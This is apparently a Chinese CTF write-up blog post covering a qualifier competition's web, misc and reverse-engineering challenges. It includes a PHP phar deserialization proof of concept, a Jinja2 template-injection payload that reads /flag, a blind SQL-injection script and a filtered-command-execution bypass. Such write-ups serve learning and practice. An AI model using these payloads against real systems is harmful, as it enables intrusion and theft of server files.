癫疯极客初赛WP整理

👴就来看看题,老懒狗了,

极客癫疯是我打过最好的比赛

WEB

babyphp2

开局直接源码泄露www.zip

核心是classes.php

有类,有上传,直接phar反序列化干就完事

<?php
    class User{
        public $nickname=null;
         public $backup;
    }
    Class Reader{

    }
    class dbCtrl
    {
        public $token;
    }

$dbCtrl=new dbCtrl();
$user = new User();
$user->nickname = new Reader();
$user->backup = "/flag";
$dbCtrl->token = $user;
$phar = new Phar("phar.phar");
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置 stub
$phar->startBuffering();
$phar->setMetadata($dbCtrl); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

然后上传,在read.php页面

compress.zlib://phar:///var/www/html/upload/文件

访问即可

babyflask

白给题,name直接payload打过去就完事

name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/flag', 'r').read() }}{% endif %}{% endfor %}

babyback

过滤一堆,但是用regexp注入可以直接日翻

(这里语句构筑出来了,时间不够写脚本了就没出.jpg)

借鉴一下y1ng的脚本

import requests as req 

url = " "

data = {
	"username" : '''admin\''',
	"password" : ""
}
res = ""
for position in range(1,30):
	for i in range(32,127):
		payload = f"or/**/ascii(substr(password,{position},1))>{i}#"
		data["password"] = payload
		r = req.post(url=url, data=data)
		if r"<div class='logo'>密码错误" not in r.text:
			res += chr(i)
			print(res)
			break
		else:
			continue

盲注出密码为:uAreRigHt

登陆后还是个命令执行,依旧过滤了一堆,由于没过滤尖括号,有了新的思路

command=?><?=include~%D0%99%93%9E%98?>

构筑php文件包含即可hhh

MISC

签到

规定时间内拼图出来就行了.jpg 拼了好几次都没flag,原因是拼的太慢的屑

Chal

这题懒狗了,思路很正确,目标很明确,但是我是懒狗,不想继续抄,白丢400分.jpg

下载下来后是个zip,解压后一个莫名其妙的文件,通过binwalk看文件类型发现是个wireshark文件,彳亍

导入wireshark

核心的便是这些IEC协议,百度搜一下就知道是KW-2200的配电站通讯协议

协议手册:https://wenku.baidu.com/view/b495f21b03020740be1e650e52ea551810a6c983.html

所以,把报文全部整理,把后面的二进制位抄出来就行力。。。。。

我是懒狗我谢罪

还是有方便的方法的,利用PMA输入报文后导出,导入仿真软件走一遍就出数据了,虽然手动输入数据还是很麻烦.jpg

RE

virus

sb脑洞逆向,F5有个迷宫,走就完事了

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发